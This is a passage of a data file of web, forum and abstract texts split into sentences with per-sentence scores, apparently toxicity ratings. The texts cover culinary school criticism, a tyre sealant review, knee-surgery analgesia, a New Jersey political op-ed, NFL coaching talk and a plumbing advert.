"\n\nLet me back that up. ",
"The statistic that should be asked is how many people when they get a two or four year degree — or even six-month degree — are cooking five years after graduation? ",
"Don't promote the graduation rate or the placement rate. ",
"What's the placement rate five years after the fact? ",
"If you're going to commit that much money, say $20,000 to $250,000, what's the statistic for retention in the industry? ",
"If culinary schools won't release that information, it's because it's ridiculously low. ",
"And if it's ridiculously low then something needs to be fixed.",
"\n\nCulinary school is not for everybody. ",
"If by chance there was a global movement to standardize cooking like in medicine where they need to have a license then, yes, I could totally understand that you would need a certain degree for cooking. ",
"Like you need to pass the bar to do law or you need to pass all these boards to become a doctor. ",
"That's only going to happen if there's a standardization in cooking. ",
"It's completely unorganized right now. ",
"There's no governing board or culinary council that says, \"This is what you need to do to be a cook.\" ",
"It's a relative free for all.",
"\n\nYou could talk all day long about the pros and cons. ",
"The reality is that I think the retention rate for people in the culinary industry is very, very low. ",
"And I don't think it's very fair for people to be paying as much money as they are in a blue collar industry where they're going to be paid blue collar wages. ",
"If the argument then is you're not promoting education, then that's ridiculous. ",
"They should use that money — probably use less money — and go to a state school and work at a restaurant in a city. ",
"You're probably better off getting a business degree or a philosophy degree or an engineering degree, anything in higher education, and matching that with real work experience. ",
"To me, that's the best answer for right now.",
"\n\nThen if you go work as most people do in college, work at one of the best restaurants. ",
"If you're at University of Texas, why wouldn't you want to be working for Paul Qui? ",
"If you want to be a cook and you don't want to live in New York, fantastic. ",
"If you want to be a cook go to Berkeley or University of San Francisco and go work for Daniel Patterson or Corey Lee three or four days a week and work for free in the kitchen. ",
"All these cities are endless. ",
"If you go to Chicago or DePaul or University of Illinois, go work for Grant [Achatz], go work for Paul Kahan. ",
"It's endless. ",
"There's so many options that culinary school is just one of those options. ",
"It shouldn't be the only option.",
"\n\nWhat I've been hearing on the other side is that obviously that would be ideal to go work in one of those amazing kitchens and learn there, but then so many people can't get their foot in the door and that's why they go to culinary school.",
"\n\nThere's a simple answer to that: Every restaurant needs a dishwasher and a prep cook or someone to clean. ",
"I think this is a very true statement. ",
"I would say that in any given kitchen, with a grain of salt, 90 percent of the day is organizing and cleaning. ",
"And 10 percent of the day is actual cooking. ",
"If you want an entry-level job, that is your entry-level job. ",
"If you want to look at it as a white-collar profession, start scrubbing pans, start cleaning, start prepping. ",
"Do whatever it takes and learn from osmosis.",
"\n\nIf you really want it you're going to get it. ",
"Knock on the door every day and say you're going to do whatever it takes. ",
"You'll wash dishes. ",
"You're going to clean the trash. ",
"You'll sort the garbage, you'll recycle, whatever. ",
"It's that relentless tenacity eventually will wear down people and your feet will get in the door. ",
"If people say you can't get your feet in the door? ",
"You have to push to get your foot in the door.",
"\n\nAgain, cooking school is fantastic. ",
"You learn all sorts of techniques. ",
"But the reality is again until something is changed in terms of its curriculum, I cannot say it's for everybody. ",
"It's for some people. ",
"I was lucky enough to get a Bachelor of Arts and I think that was more beneficial than going to a four-year culinary university.",
"\n\nThe second argument would be if you look at all my heroes, the chefs around the world, most of them never went to cooking school. ",
"What they did is they had a great mentor. ",
"You name a chef that's awesome and people want to work for him, I'd say a majority of the time they never went to cooking school. ",
"Whether it's Ferran [Adria], Heston Blumenthal, Alain Passard, Michel Bras, Corey Lee, Daniel Patterson. ",
"The list is pretty long.",
"\n\nI was talking to Bill Corbett in San Francisco about this since he's one of the deans for the San Francisco Cooking School. ",
"He was telling me that, but also pointed out that you're not always going to be lucky enough to have a good mentor.",
"\n\nYeah, 100 percent. ",
"And that's why it's not a perfect system. ",
"What I'm trying to say is you're fucked if you go to cooking school and that's your only option. ",
"If you choose another alternative, you have other options. ",
"You're not committed as if you only choose culinary school. ",
"Let's say you start cooking school at the age of 18, you graduate after two years and you realize that, you know what, cooking school is not really for me. ",
"I want to become a chemist. ",
"It's going to be a lot harder to enter a university.",
"\n\nBut you can always go to cooking school later if you start with college.",
"\n\nYeah. ",
"Not just that. ",
"Restaurants always need dishwashers. ",
"Restaurants always need people that are going to help. ",
"Amy, let me ask you this. ",
"You're a journalist, right?",
"\n\nYes.",
"\n\nDid you go to journalism school?",
"\n\nI actually did. ",
"But I probably didn't have to.",
"\n\nYou probably didn't have to. ",
"Did you go to graduate school or undergrad?",
"\n\nUndergrad.",
"\n\nNow you can interject yourself into this whole equation. ",
"Now that you realize you didn't really need to, you could have studied English, could have studied pre-med, whatever, and still done your path. ",
"Now the question is, do you have other friends that want to be a journalist? ",
"They've been four years out of college or whatever and they really feel that they want to become a journalist and they want to write and they ask, \"Hey, Amy, I got into Columbia School of Journalism.\" ",
"What would you say?",
"\n\nWell, I actually got a lot of useful connections out of my undergrad, so I wouldn't necessarily discourage it. ",
"If they're going to college anyway it doesn't make a difference to me, I guess. ",
"But they don't need it.",
"\n\nThey don't need it. ",
"It's not a prerequisite. ",
"What's more important, are they willing to work hard? ",
"Are they going to be committed to it and do they love it? ",
"That's more important than getting acceptance into Columbia grad school. ",
"Just because you did it doesn't mean you're going to be a great writer.",
"\n\nMost people I know from school are not still in journalism, so there is that.",
"\n\nThere's that quote by Emerson, I can't remember, it's like, \"Meek young men grow up in libraries accepting the visions of Cicero, Locke and Bacon forgetful that those are the same guys that grew up as young men in libraries when they wrote those books.\" ",
"People always assume that there's only one way to achieve success and there's only one way to achieve your dreams or your goals and that's because somebody told you that's the only way possible. ",
"And that's never the case in anything.",
"\n\nIt bothers me. ",
"I'm not trying to be a fucking gadfly. ",
"I'm not trying to fucking piss off people at culinary school. ",
"I'm not trying to bite the hand that fed me because certainly we get a lot of great culinary students. ",
"It's fantastic. ",
"There are some people that really, really benefit from it. ",
"But the reality is that's a minority to me. ",
"The kids that benefit from culinary school is a minority and that ratio should really be changed. ",
"It should be reversed.",
"\n\nPart of this seems to be on the students who don't have experience and don't know what they're in for and then drop out. ",
"But culinary schools should also be preparing them for the reality of a kitchen rather than what they're seeing on TV.",
"\n\nThat's why I bring up that the stat they should tout the most is not the alumni that have succeeded but the alumni that have failed. ",
"You grade yourselves by your mistakes or the things that didn't work out. ",
"And if I'm a prospective culinary school student and they tell me that 50 percent of our students aren't in the culinary profession after five years. ",
"Well, I'm not going to probably enter that university. ",
"But the reality is I think that number is much higher than 50 percent. ",
"The fact is for culinary school kids, it should be a five-year rule. ",
"If you're spending all this money to prepare yourself for a craft in this profession, what is it after five years? ",
"If it's at minimum — and I think it's much higher — 30 percent, if that's the rate, they're shaking down students.",
"\n\nI don't have the answers. ",
"But I think first and foremost thing is that then we need to recognize the problem. ",
"We're just feeding the machine because they're getting larger. ",
"Why are there schools in Singapore and California and all over the place? ",
"All of these institutions have schools all over the place and I feel that they're all pissed off at Cordon Bleu because it's so financially successful because it can license out its name to community colleges. ",
"I think you'd have dramatically less people willing to commit the massive amount that it takes for culinary school education if they see the rate of attrition is 30 to 50 percent. ",
"I actually think it's closer to 90 percent.",
"\n\nReally?",
"\n\nI'm not an economist, I don't have the statistics. ",
"But why are we having a shortage of cooks if we have more culinary school entrants than ever before? ",
"Where are they going? ",
"I didn't know the economy was so good in America that everybody could afford a private chef. ",
"There's only so many culinary professions you can actually do: hotel jobs, catering, private chef, institutional cooking. ",
"All of which are respected and very hard and God bless 'em because it's a fucking hard business. ",
"But if everyone's hiring, how come there's not enough people? ",
"If I have to pay back a student loan, an entry level in New York City is still going to pay you $10 to $11 an hour.",
"\n\nSo you might as well take that without your debt.",
"\n\nHow are you going to pay back your debt? ",
"That is what bothers me. ",
"I have a lot of stories. ",
"I can go back, I remember like seven years ago there was a retired police chief from a small town near Pittsburgh and he had committed an entire life savings after he retired because he wanted to open up his own restaurant, but he was told that his only option to opening up his own restaurant was to go to cooking school.",
"\n\nYikes.",
"\n\nRight? ",
"How is that possible? ",
"I was honored and lucky enough to give a graduation speech at a cooking school. ",
"And I said very firmly, \"Please go work at the great kitchens. ",
"Don't take the shortcut. ",
"Don't take the cash. ",
"Learn. ",
"Don't work at the crappy restaurant that's going to offer you the best package.\" ",
"And I swear to God that was in the Spring. ",
"So five months later I'm at this really bad Japanese restaurant [at a hotel in Hawaii] that does crab rolls and shit like that and [the chef is] like, \"Hey, I don't know if you remember, but you gave our graduation speech at cooking school.\"",
"\n\nI was so pissed. ",
"He didn't do anything wrong. ",
"Somebody offered him a lot of money and a package he couldn't say no to. ",
"But what does that do? ",
"Does it really prepare for success? ",
"No, it builds he or she up that they do a great job, that they think they know how to cook. ",
"And when they come back to the respective cities they're from, they have an enhanced view of themselves that's not reflective of how they can actually cook. ",
"Again, I want to say that there are a lot of good cooks going to cooking school. ",
"But, again, that's supposed to happen. ",
"That's a given. ",
"We should be looking at what's not working.",
"\n\nIs this something you've noticed happening more? ",
"Has it always been like this since you've been hiring cooks?",
"\n\nNo, I mean, there's a lot of reasons. ",
"There's a lot of restaurants to work at. ",
"New York isn't the center of the universe right now, culinary speaking. ",
"That's great. ",
"I was just in Houston and I had like the sickest meal at Oxheart. ",
"That in the long haul is going to really change American gastronomy. ",
"A kid growing up in Houston can work at Oxheart and learn some really sick stuff and solid stuff. ",
"You don't have to go to New York. ",
"New York is expensive. ",
"It's fucking hard to live and work here. ",
"I think it would be really interesting if that changed. ",
"And I think that it's great you can cook everywhere else.",
"\n\nBut, again, I just happen to sense that with the opening of all these restaurants and cooking accepted in modern culture, there should be an equal amount of cooking school graduates. ",
"Take Johnson & Wales. ",
"If ten of those kids, guys or girls, go to New York every four weeks, that will replenish New York City. ",
"In two years, we'll have replenished the culinary school kid deficit.",
"\n\nAnd listen, I have a lot of friends that have moved on and have become private chefs. ",
"They are caterers, they work at institutional banks, whatever. ",
"They're doing it because they're making a lot more money than they ever could and they've chosen a quality of life that is better than working in a restaurant. ",
"And they are fucking amazing cooks. ",
"And God bless them because they started a family and cooking has provided them a way to live a life that is very comfortable for them. ",
"But it erodes the whole foundation if you don't replenish New York City.",
"\n\nI know I'm a hypocrite, I sound like it. ",
"These schools are important. ",
"I'm not saying they're not important. ",
"What I'm trying to say is we need to look at the times for the kids that it doesn't work. ",
"The era for culinary schools is more important than ever. ",
"But when I say the system is broken is we need to look at the instances where it's not a success. ",
"For me, it seems to be more of a failure after a five-year period than not. ",
"Long story cut short.",
"\n\n· Culinary School: The Pros and Cons of Culinary Education [-E-]\n\n· All David Chang Coverage on Eater [-E-]\n\n· All Culinary School Coverage on Eater [-E-]"
] | {
"pile_set_name": "OpenWebText2"
} | [
0.0006609556148760021,
0.004180544055998325,
0.0005661929026246071,
0.00061662623193115,
0.0005610623047687113,
0.0005348763661459088,
0.0013341829180717468,
0.0008281844784505665,
0.0005485131987370551,
0.0006217500776983798,
0.0007669710903428495,
0.008249853737652302,
0.0005347152473405004,
0.0008503565331920981,
0.0007039818447083235,
0.16861392557621002,
0.0007726847543381155,
0.0006169942207634449,
0.0006436936091631651,
0.0010168920271098614,
0.0006298305816017091,
0.0008808844722807407,
0.0006232669111341238,
0.0006958661251701415,
0.05120024457573891,
0.021575134247541428,
0.001535089686512947,
0.0009110693936236203,
0.0006579674663953483,
0.0007577131036669016,
0.0008586616022512317,
0.0005521231214515865,
0.0005969142075628042,
0.0007330113439820707,
0.0006320962565951049,
0.0018361718393862247,
0.0008285806979984045,
0.0008414071053266525,
0.0011080693220719695,
0.000545914692338556,
0.0005932850763201714,
0.00065941724460572,
0.0005647005746141076,
0.00950695015490055,
0.0010080875363200903,
0.0006267742137424648,
0.0005624131299555302,
0.0006455538677982986,
0.0009338586241938174,
0.0010861093178391457,
0.000758993613999337,
0.0008767866529524326,
0.0006506156059913337,
0.0005817514029331505,
0.0025964812375605106,
0.00145422900095582,
0.001022922107949853,
0.0005594514077529311,
0.027043620124459267,
0.0006062201573513448,
0.0007030164124444127,
0.0007522172527387738,
0.000617423967923969,
0.0006574549479410052,
0.0006313412450253963,
0.0016785860061645508,
0.18724516034126282,
0.01899999938905239,
0.0016732607036828995,
0.0005955787491984665,
0.0006119768950156868,
0.0007378282025456429,
0.004001714754849672,
0.0009744509006850421,
0.001216147094964981,
0.0007400749018415809,
0.0008298774482682347,
0.0007128579309210181,
0.0009118080488406122,
0.0006648752023465931,
0.0022111833095550537,
0.0005920767434872687,
0.0008521434501744807,
0.0007450759294442832,
0.0026298912707716227,
0.0011067030718550086,
0.7572317719459534,
0.00109668611548841,
0.14402171969413757,
0.012072151526808739,
0.8089562654495239,
0.27726083993911743,
0.03920067101716995,
0.021572284400463104,
0.07904453575611115,
0.0006249835714697838,
0.0024810018949210644,
0.0006583165377378464,
0.0006270753801800311,
0.0007379983435384929,
0.0007040774798952043,
0.0005332789150997996,
0.0006816395907662809,
0.000790408521424979,
0.0006329974858090281,
0.0006916377460584044,
0.0006104483036324382,
0.0010258881375193596,
0.00105142907705158,
0.9950729012489319,
0.0008752570720389485,
0.0009778873063623905,
0.0018972207326442003,
0.0030484942253679037,
0.0011342926882207394,
0.0024405827280133963,
0.0010335048427805305,
0.0008856120402924716,
0.005175068508833647,
0.0005686704535037279,
0.0007871231064200401,
0.0011997929541394114,
0.0008940021507441998,
0.0010798305738717318,
0.0009175180457532406,
0.0007650137413293123,
0.0008339741616509855,
0.0040429821237921715,
0.001156130456365645,
0.0006853159866295755,
0.000956395932007581,
0.0008541184361092746,
0.0007657529786229134,
0.0008199727162718773,
0.0006712480681017041,
0.001297135604545474,
0.0007141688838601112,
0.0008146053878590465,
0.0009592518326826394,
0.0005715212901122868,
0.0006908119539730251,
0.0006459877477027476,
0.0007215507212094963,
0.0006283787079155445,
0.0007351246895268559,
0.0006667941925115883,
0.0008870448218658566,
0.0052781905978918076,
0.9947654008865356,
0.992717981338501,
0.0011434491025283933,
0.0005963563453406096,
0.0006206813850440085,
0.0022328055929392576,
0.023408861830830574,
0.0009471956873312593,
0.0035106090363115072,
0.0005957871326245368,
0.0011514285579323769,
0.011188565753400326,
0.0006147451931610703,
0.0008675328572280705,
0.0007402593619190156,
0.0009489775402471423,
0.0009206306422129273,
0.0006159145850688219,
0.002431427361443639,
0.0005613936809822917,
0.0008758949115872383,
0.0006325325230136514,
0.006210350431501865,
0.0008580751600675285,
0.0006584561197087169,
0.0008811115403659642,
0.000856547150760889,
0.0011647852370515466,
0.000946279673371464,
0.0005934046348556876,
0.0006022114539518952,
0.9665297269821167,
0.0007195196230895817,
0.0007187185110524297,
0.0013811910757794976,
0.027515677735209465,
0.004526327829807997,
0.0005831281305290759,
0.0006446912884712219,
0.05941203236579895,
0.0007939334027469158,
0.0007720708381384611,
0.0005484831635840237,
0.0005526324966922402,
0.0029233526438474655,
0.01050651166588068,
0.004329643677920103,
0.3539438247680664,
0.002255273750051856,
0.1524806022644043,
0.6806069016456604,
0.0008459705859422684,
0.000650235335342586,
0.0008042564149945974,
0.0006909940857440233,
0.001163467182777822,
0.0006653772434219718,
0.0006847737822681665,
0.0007702487637288868,
0.0009973885025829077,
0.0005905801081098616,
0.0006896844715811312,
0.0007585561834275723,
0.0006495013367384672,
0.0005672156694345176,
0.0007901753415353596,
0.0006398363038897514,
0.01245901919901371,
0.0007114964537322521,
0.002058624057099223,
0.0013741054572165012,
0.0027892100624740124,
0.9890154004096985,
0.000534511695150286,
0.0006752946646884084,
0.000557263323571533,
0.0008195317350327969,
0.004575002007186413,
0.001922821393236518,
0.0005754859303124249,
0.0012836991809308529,
0.0007910520071163774,
0.9880080223083496,
0.0006608302355743945,
0.0015618563629686832,
0.10113080590963364,
0.0005574739770963788,
0.0008339328342117369,
0.0006474315887317061,
0.0005971250939182937,
0.0005674584535881877,
0.0014096623053774238,
0.0006426760228350759,
0.0009445098112337291
] | 0.042229 | 242 |
[
"On the bottle it says you do not have to use the entire bottle on one tyre but if you intend on using your car at speeds over 100mph/160kph then you should use the entire bottle, so I used the whole bottle.",
"\n\nAll in all I cannot recommend Slime tyre sealant highly enough.",
"\n\nIt comes with all the tools you need to use the product (excluding the supply of pressurised air) and it does exactly what it says on the tin.",
"\n\nEven if you don’t have a problem with your tyres I would still fit it, the next time I fit new tyres to, Slime tyre sealant is going to be fitted immediately.",
"\n\nIf you want to make sure your tyres keep their pressure then I believe Slime will do just that.",
"\n\nI have had a tyre go down a couple of times without realising, and to state the obvious, driving round on an underinflated tyre can seriously damage the tyre’s sidewall so Slime will stop this from happening (assuming the hole is less than 3mm in diameter).",
"\n\nIf you have ever had a screw or a nail stuck in your tyre slime will keep the pressure in the tyre until you have a chance to get the tyre repaired and the beauty is Slime will even work with the traditional tyres repair solutions like the rubber inserts.",
"\n\nSlime tyre sealant will work with traditional tyre repair methods\n\nIf you want to:\n\nKeep tyre pressure even when tyre has a hole\nKeep tyre pressure until you can repair tyre\nProtect new tyres from deflating due to holes\nRepair small holes in existing tyres\nRepair slow punctures\nKeep tyres pressures constant for maximum fuel economy and performance\n\nthen Slime tyre sealant is what you are looking for, new tyres or old, perfect tyres or tyres with holes, Slime tyre sealant will make and keep your tyres like new."
] | {
"pile_set_name": "Pile-CC"
} | [
0.002307076705619693,
0.0027486272156238556,
0.0007747049094177783,
0.0019569366704672575,
0.0018131912220269442,
0.0013016143348067999,
0.0038440318312495947,
0.001320282113738358
] | 0.002008 | 8 |
[
"A comparison of continuous femoral nerve block and periarticular local infiltration analgesia in the management of early period pain developing after total knee arthroplasty.",
"\nThis study aimed to compare the effects of 24-h continuous femoral nerve block (CFNB) and periarticular infiltration analgesia (PIA) on postoperative pain and functional results in the first 6 weeks after total knee arthroplasty (TKA). ",
"Sixty patients who underwent unilateral TKA were included in this study. ",
"The patients were divided into two groups: Group A received CFNB and Group B received PIA. ",
"Each patient received 0.25% levobupivacaine and 1:100,000 epinephrine as infiltration to the posterior capsule. ",
"A patient-controlled analgesia (PCA) device was used for all patients, and 24-h tramadol usage by patients was recorded. ",
"We measured maximum range of motion (ROM), pain using a visual analog scale (VAS), 2-min walk test (2MWT), and the scores of Western Ontario and McMaster Universities Arthritis Index (WOMAC) and Knee Society Score (KSS). ",
"Compared with Group B, Group A had lower postoperative opioid usage (p<0.05), less pain at rest (p<0.05), less pain with passive motion (p<0.05), less pain with movement and after active movement (p<0.05), and superior passive and active ROM (p<0.05). ",
"Group A also had better 2MWT results at 24 and 48 h after surgery (p<0.05), and superior WOMAC and KSS results at 6 weeks after surgery. ",
"As long as it is applied with infiltration analgesia to the posterior capsule, CFNB is an effective and safe analgesia method resulting in better postoperative patient comfort and greater ROM. ",
"Furthermore, it produces better results in the early postoperative period with a favorable side effect profile."
] | {
"pile_set_name": "PubMed Abstracts"
} | [
0.0013698282418772578,
0.0010181812103837729,
0.0006265470292419195,
0.0006401482387445867,
0.0008780478383414447,
0.0007447447278536856,
0.0007111127488315105,
0.001777607831172645,
0.0006916275015100837,
0.0009280177764594555,
0.0005702287890017033
] | 0.000905 | 11 |
[
"For a state that's tired of watching its governor stand behind President Trump like a bedraggled shadow puppet, Phil Murphy is a breath of fresh air.",
"\n\n\n\nIn his inauguration speech on Tuesday, he vowed to fight \"Washington's all-out assault on New Jersey,\" and defend our state against punishing Trump policies on everything from taxes to oil drilling to health care.",
"\n\n\n\nBut this wasn't just a series of liberal applause lines, although there were plenty. ",
"Murphy brought the crowd to its feet with a defense of American values, vowing to protect people from all countries - and \"that includes Haiti and the continent of Africa,\" a clear jab at the president.",
"\n\nPhil Murphy sworn in, replaces Chris Christie as N.J. governor\n\n\n\n\"We will resist every attempt to define who is, and who is not, a real American,\" he said.",
"\n\n\n\nHow refreshing; a governor who sticks up for his state's interests, and basic decency for a change.",
"\n\nFor all his thuggish bullying, Christie used to go to bat on stuff like that, too - standing by his appointment of a Muslim judge in 2011, for instance, and denouncing the \"crazies\" in his own party who insisted we were on a path to becoming a \"Sharia state.\"",
"\n\n\n\nBut he's since abandoned that equanimity. ",
"It was all part of his rollover to Trump, the man who questioned Barack Obama's citizenship, wanted to ban all Muslims from entering the country, falsely insisted that he saw thousands of New Jersey Al Qaeda supporters cheer on 9-11, and said the U.S. should be taking people from \"Norway,\" not \"shitholes\" like Haiti.",
"\n\n\n\nChristie made it clear that he was more concerned about his own political ambitions than the good of our country or state. ",
"That's how he got to his 14 percent approval rating.",
"\n\nHe refused to join lawsuits filed by more than a dozen other states to challenge Trump's decisions to end protections for young immigrants brought to the U.S. as children, or eliminate the federal subsidies that help New Jerseyans afford health care.",
"\n\n\n\nAnd unlike other, outspoken Republican governors and members of the federal opioid panel that Christie chaired, our governor made hardly a peep about Trump's attempt to gut Medicaid - even though this would have destroyed Christie's own campaign to fight addiction in New Jersey, by killing drug treatment.",
"\n\n\n\nSo it was good to hear Murphy repeat over and over: \"We will resist.\" ",
"He called out Trump's tax gifts to rich corporations at the expense of ordinary New Jerseyans. ",
"He vowed to fight attempts to divide families and strip protections from striving young immigrants, and stand up to the Trump administration as it attempts to defund our tunnel to Manhattan and slash health care for millions.",
"\n\n\n\nAll areas where Christie failed to lead. ",
"But most of all, Murphy made it clear that he embraces his role as a spokesman for the resistance.",
"\n\n\n\nHe has license to take this tack. ",
"After all, he won by tying his opponent, Kim Guadagno, to Christie and Trump. ",
"When she released a race-baiting, fear-mongering ad that attempted to smear Murphy, he said: \"What you're doing is what Donald Trump does, and Chris Christie; you pit us against them. ",
"You cast a pall over entire communities of people. ",
"It's un-American.\"",
"\n\n\n\nOn Tuesday, he provided the alternate vision, one much better suited to our state.",
"\n\nBookmark NJ.com/Opinion. ",
"Follow on Twitter @NJ_Opinion and find NJ.com Opinion on Facebook."
] | {
"pile_set_name": "OpenWebText2"
} | [
0.01294791605323553,
0.00113482226151973,
0.0005981840076856315,
0.0010803249897435308,
0.0008714702562429011,
0.0006190850399434566,
0.08144991099834442,
0.001270543783903122,
0.08869202435016632,
0.000633581483270973,
0.0009723257389850914,
0.0012643695808947086,
0.004616043996065855,
0.0006863493472337723,
0.002406523795798421,
0.009380113333463669,
0.000707841943949461,
0.0006177076720632613,
0.0007049093255773187,
0.0009615857270546257,
0.016438690945506096,
0.01032909844070673,
0.001326903933659196,
0.0005574102397076786,
0.0007093499298207462,
0.0006662770756520331
] | 0.009294 | 26 |
[
"I think he failed partly because he never had a GM on the same page, partly because he never had a decent quarterback, and partly because he's more of a genius than a leader. ",
"He should still have at least a defensive coordinator position in the NFL though.",
"\n\nIf Chip Kelly is ever going to make the jump, I think he needs to do it in Carolina. ",
"The job should be available along with the GM role (fresh start) this offseason although I wont understimate Jerry Richardson's stubbornness.",
"\n\nBarring a Petrino-esque disaster I think he gets 3 years to figure out how to make his offense work with as good a QB as you can get for it.",
"\n\nNo guarantees it'll work, though. ",
"It's not exactly Oregon, but adopting more of the college playbook this year has not worked too well.",
"\n\nIMO there is no obvious homerun hire or even a unanimous good hire out there. ",
"The last home run to me was Harbaugh and something like that only comes around once every 5 to 10 years.",
"\n\nI didn't realize the Panthers were going to move on from Rivera so quickly. ",
"I realize this year has fallen well short of even the most reasonable of expectations, it's still his 2nd year as head coach of a team that only won a single game the year before he was hired.",
"\n\nUnless you've got some killer inside information on that, I'd be shocked if Rivera doesn't get a 3rd year.",
"\n\nI don't think this GUARANTEES he's gone after the year. ",
"Richardson is the man in charge here. ",
"Hurney was a cuckold. ",
"An incompetent cuckold, but nonetheless. ",
"If Rivera scratches out 4 or 5 meaningless wins in the second half of the year he might be back even with a GM who doesn't want him.",
"\n\nHe isn't head coaching material, though. ",
"Just doesn't get it when it comes to game management. ",
"In all honesty, this team would easily have 3 or 4 wins right now with just slightly better coaching and better play at the end of games by the QB.",
"\n\nI'm sure he'll be a nice hire for a team looking for a DC but there's a reason it took him 9 shots to get the top job...\n\nPresumably Rivera is gone at the end of the season, but sadly for the Panthers there aren't any clear cut premier candidates. ",
"Chip Kelly would be an interesting fit with Newton, but I'm not sold on his schemes. ",
"As far as college goes, Brian Kelly of Notre Dame is one person I'd be interested in.",
"\n\nPresumably Rivera is gone at the end of the season, but sadly for the Panthers there aren't any clear cut premier candidates. ",
"Chip Kelly would be an interesting fit with Newton, but I'm not sold on his schemes. ",
"As far as college goes, Brian Kelly of Notre Dame is one person I'd be interested in.",
"\n\nI think Hue Jackson would be fun to see working the sidelines in Carolina. ",
"Of coaches with NFL experience, I think he might be able to do the most with that offense.",
"\n\nAs for Chip Kelly, I can't think of a better fit for Cam Newton. ",
"The one thing you kept hearing when Oregon met Auburn in the National Championship was how they had a similar offense. ",
"If Kelly were to work with any QB in the NFL and be successful, I would think Cam Newton is the guy to do it.",
"\n\nI'm interested in seeing how Todd Bowles does for the Eagles as the DC. ",
"He was a guy I know a lot of people were high on and he had some HC interviews not too long ago when he was still with Miami. ",
"If that defense plays up to its' ability, could be another candidate to emerge.",
"\n\nWhat about Jack Del Rio? ",
"Are you guys hearing any buzz regarding him? ",
"I know he just got fired a year ago from the Jaguars, but that team is just a mess and defense was never their problem.",
"\n\nNow hes doing a fantastic job with the Broncos defense, taking advantage of the talent on roster and putting the guys in position to make plays. ",
"Broncos defense is ranked fourth in points allowed with an avg of 19.8 per game.",
"\n\nWe need some stability at the defensive coordinator position, so what do you thin does he get another chance anytime soon?",
"\n\nWhat about Jack Del Rio? ",
"Are you guys hearing any buzz regarding him? ",
"I know he just got fired a year ago from the Jaguars, but that team is just a mess and defense was never their problem.",
"\n\nNow hes doing a fantastic job with the Broncos defense, taking advantage of the talent on roster and putting the guys in position to make plays. ",
"Broncos defense is ranked fourth in points allowed with an avg of 19.8 per game.",
"\n\nWe need some stability at the defensive coordinator position, so what do you thin does he get another chance anytime soon?",
"\n\nJDL's defenses were awful in from 2008-2010. ",
"When he finally gave up play calling duties to Tucker in 2011, the defense was great. ",
"And of course, everything is bad this year. ",
"But don't fool yourself into thinking he's a good coach. ",
"His defenses were good/great in his first 5 years, but he was riding Coughlin's players. ",
"You don't need a great defensive coach when you have John Henderson and Marcus Stroud playing together in their prime (both drafted under Coughlin).",
"\n\nmy scent?...like making love to a lumberjack\n<TACKLE> i will ngata give you a bj raji\n<+BOE> Scott, with Burfict's character concerns (whether legit or not) you think Pioli would draft him. ",
":D\n<+ScottWright> Why not. ",
"Baldwin does need a sparring partner...\n\nQuote:\n\nOriginally Posted by Hermstheman83\n\nWhat's with the hate on Ricky Stanzi? ",
"Those youtube clips of him with the hulk hogan theme music instantly make him better than Luck.",
"\n\nJDL's defenses were awful in from 2008-2010. ",
"When he finally gave up play calling duties to Tucker in 2011, the defense was great. ",
"And of course, everything is bad this year. ",
"But don't fool yourself into thinking he's a good coach. ",
"His defenses were good/great in his first 5 years, but he was riding Coughlin's players. ",
"You don't need a great defensive coach when you have John Henderson and Marcus Stroud playing together in their prime (both drafted under Coughlin).",
"\n\nSo probably a guy you don't want evaluating/acquiring players, and one of those \"better as a coordinator than a coach\" type of guys?",
"\n\nI wouldn't be sir prized if he passed McCoy on the depth chart. ",
"I think he might have a better arm and accurate arm then him from the highlights I thought. ",
"He also got some wheels too help us prepare for QB's as Wilson , RG3 and other runners etc."
] | {
"pile_set_name": "Pile-CC"
} | [
0.002808521967381239,
0.0007105799741111696,
0.0006511155515909195,
0.001330845756456256,
0.0044652922078967094,
0.0007158635999076068,
0.0006438586278818548,
0.001364454161375761,
0.0007266615866683424,
0.0006372720235958695,
0.0006612044526264071,
0.00180023442953825,
0.0008526361198164523,
0.0016924411756917834,
0.11353498697280884,
0.13900737464427948,
0.0007890000706538558,
0.0006741943652741611,
0.0007334057590924203,
0.0007056849426589906,
0.000594544573687017,
0.0006542506744153798,
0.0005477280355989933,
0.0006007656920701265,
0.0006542506744153798,
0.0005477280355989933,
0.0005514223012141883,
0.0005682037444785237,
0.0006030055228620768,
0.0006611301214434206,
0.000708346429746598,
0.0005651129758916795,
0.000610510294791311,
0.0008136960677802563,
0.0009013513335958123,
0.0007608145824633539,
0.0012500457232818007,
0.0008752770954743028,
0.0010586275020614266,
0.0006932614487595856,
0.0009013513335958123,
0.0007608145824633539,
0.0012500457232818007,
0.0008752770954743028,
0.0010586275020614266,
0.0006932614487595856,
0.0015817154198884964,
0.0006644640816375613,
0.0016387369250878692,
0.06902654469013214,
0.0007850092370063066,
0.0007774207624606788,
0.04435603693127632,
0.0008701339247636497,
0.0010856320150196552,
0.000671986723318696,
0.0015817154198884964,
0.0006644640816375613,
0.0016387369250878692,
0.06902654469013214,
0.0007850092370063066,
0.0007774207624606788,
0.0006564115756191313,
0.0007405648939311504,
0.000840576074551791,
0.0006192670552991331
] | 0.007471 | 66 |
[
"0800 035 3409\n\nWe can help you today!",
"\n\nStoke plumbing solutions you can count on\n\nFAST RESPONSE\n\nNO CALL OUT CHARGE\n\nFREE QUOTES\n\nACCREDITED BY TRADE BODIES\n\nOur expert plumbing engineers in Stoke are highly qualified and experienced in all methods of plumbing and heating for homes and businesses. ",
"We put our customers' needs first, operate a complete plumbing service 24 hours a day, 7 days a week, and provide a fast response service so that your problem can be fixed quickly and hassle-free. ",
"Our plumbing professionals in Stoke are ready to tackle your plumbing problems day or night, with safe and effective solutions to ensure your problem is resolved, no matter how big or small it may be. ",
"What's more, we do not have any call-out charges or other hidden costs, so let us take care of your plumbing dilemma today.",
"\n\nEstablished 24 Years\n\nFully Qualified Plumbers\n\nFull Public Liability Insurance\n\nCompetitive Local Rates\n\nGas Safe Registered\n\nAward Winning Service\n\nExcellent Plumber\n\nVery good experience plumber arrived when he said he would and was able to sort out the problem. ",
"Good to know that reliable people are available and able to help . ",
"Thank you\n\nMrs Joyce Knapton\n\nGreat Job\n\nHad my doubts at first worrying if the charged over the odds. ",
"I needn't of though the service I received was excellent and the price was lower than I expected. ",
"All in all i really couldn't fault anything they done, and I wouldn't hesitate to use them again thanks..\n\nMark Brookes\n\nQuick reliable service\n\nQuick reliable service, with very polite and capable plumber.",
"\n\nAndrew Cross\n\nHappy customer\n\nThey turned up when they said, phoning 20 minutes ahead, were very polite, understanding and efficient. ",
"They were also very respectful of the property and its neighbouring houses, also how the property was situated. ",
"Well done lads.",
